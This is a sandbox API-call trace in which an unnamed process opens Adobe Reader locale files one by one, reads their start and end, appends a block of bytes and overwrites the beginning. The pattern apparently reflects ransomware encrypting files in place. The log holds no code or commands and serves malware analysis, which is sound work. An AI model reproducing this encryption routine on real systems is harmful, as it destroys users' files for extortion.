[0035.746] WriteFile (in: hFile=0x1b4, lpBuffer=0x276e358*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276e358*, lpNumberOfBytesWritten=0x2b0f2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0035.747] CloseHandle (hObject=0x1b4) returned 1 [0035.747] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\SaveAsRTF.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\saveasrtf.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0036.164] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.164] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x4800 [0036.164] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.164] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.164] ReleaseMutex (hMutex=0x128) returned 1 [0036.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SUO", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0036.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SUO", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.SUO", lpUsedDefaultChar=0x0) returned 13 [0036.164] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.166] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x3800 [0036.166] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.166] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x3800 [0036.167] WriteFile (in: hFile=0x168, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.167] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0036.167] WriteFile (in: hFile=0x168, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.167] CloseHandle (hObject=0x168) returned 1 [0036.167] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\AdobeCollabSync.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\adobecollabsync.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0036.169] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.169] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1a00 [0036.169] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.169] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.169] ReleaseMutex (hMutex=0x128) returned 1 [0036.169] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.FRA", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0036.169] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.FRA", cchWideChar=19, lpMultiByteStr=0x1e78b7c, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.FRA", lpUsedDefaultChar=0x0) returned 19 [0036.169] ReadFile (in: hFile=0x1b0, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2b0f2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0036.171] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0036.171] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x2b0f2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0036.171] CloseHandle (hObject=0x1b0) returned 1 [0036.171] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Multimedia.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\multimedia.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0036.172] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.172] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x14400 [0036.172] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.172] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.172] ReleaseMutex (hMutex=0x128) returned 1 [0036.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.FRA", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0036.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.FRA", cchWideChar=14, lpMultiByteStr=0x1e631ec, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.FRA", lpUsedDefaultChar=0x0) returned 14 [0036.172] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0036.174] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x13400 [0036.174] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.175] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x13400 [0036.175] WriteFile (in: hFile=0x1b0, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.175] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0036.175] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0036.175] CloseHandle (hObject=0x1b0) returned 1 [0036.175] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0036.176] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.176] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xe6 [0036.176] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.176] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.176] ReleaseMutex (hMutex=0x128) returned 1 [0036.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0036.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0036.176] ReadFile (in: hFile=0x1b0, lpBuffer=0x25ea548, nNumberOfBytesToRead=0xe6, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ea548*, lpNumberOfBytesRead=0x2b0f2bc*=0xe6, lpOverlapped=0x0) returned 1 [0036.177] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0036.177] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66e, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2b0f2d0*=0x66e, lpOverlapped=0x0) returned 1 [0036.177] CloseHandle (hObject=0x1b0) returned 1 [0036.178] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\DigSig.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\digsig.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0036.179] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.179] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1f200 [0036.179] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.179] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.179] ReleaseMutex (hMutex=0x128) returned 1 [0036.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.HRV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0036.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.HRV", cchWideChar=10, lpMultiByteStr=0x1e6314c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.HRV", lpUsedDefaultChar=0x0) returned 10 [0036.179] ReadFile (in: hFile=0x1b0, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0036.181] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1e200 [0036.181] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.182] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1e200 [0036.182] WriteFile (in: hFile=0x1b0, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.182] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0036.182] WriteFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0036.183] CloseHandle (hObject=0x1b0) returned 1 [0036.183] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\ReadOutLoud.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\readoutloud.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0036.183] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.183] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x2a00 [0036.184] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.184] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.184] ReleaseMutex (hMutex=0x128) returned 1 [0036.184] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.HRV", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0036.184] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.HRV", cchWideChar=15, lpMultiByteStr=0x1e630cc, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.HRV", lpUsedDefaultChar=0x0) returned 15 [0036.184] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.185] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1a00 [0036.185] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.186] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1a00 [0036.186] WriteFile (in: hFile=0x1b0, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.186] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0036.186] WriteFile (in: hFile=0x1b0, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.186] CloseHandle (hObject=0x1b0) returned 1 [0036.186] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\accessibility.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\accessibility.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0036.188] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.188] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xb000 [0036.188] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.188] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.188] ReleaseMutex (hMutex=0x128) returned 1 [0036.188] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.HUN", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0036.188] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.HUN", cchWideChar=17, lpMultiByteStr=0x1e78b7c, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.HUN", lpUsedDefaultChar=0x0) returned 17 [0036.188] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0036.190] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xa000 [0036.190] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.191] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xa000 [0036.191] WriteFile (in: hFile=0x1b0, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.191] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0036.191] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0036.192] CloseHandle (hObject=0x1b0) returned 1 [0036.192] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\IA32.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\ia32.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0036.193] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.193] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xe00 [0036.193] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.193] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.193] ReleaseMutex (hMutex=0x128) returned 1 [0036.193] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.HUN", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0036.193] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.HUN", cchWideChar=8, lpMultiByteStr=0x1e630cc, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.HUN", lpUsedDefaultChar=0x0) returned 8 [0036.193] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f2bc*=0xe00, lpOverlapped=0x0) returned 1 [0036.194] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0036.194] WriteFile (in: hFile=0x1b0, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1388, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2b0f2d0*=0x1388, lpOverlapped=0x0) returned 1 [0036.195] CloseHandle (hObject=0x1b0) returned 1 [0036.195] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\SendMail.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\sendmail.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0036.195] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.195] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x4000 [0036.195] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.195] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.195] ReleaseMutex (hMutex=0x128) returned 1 [0036.195] 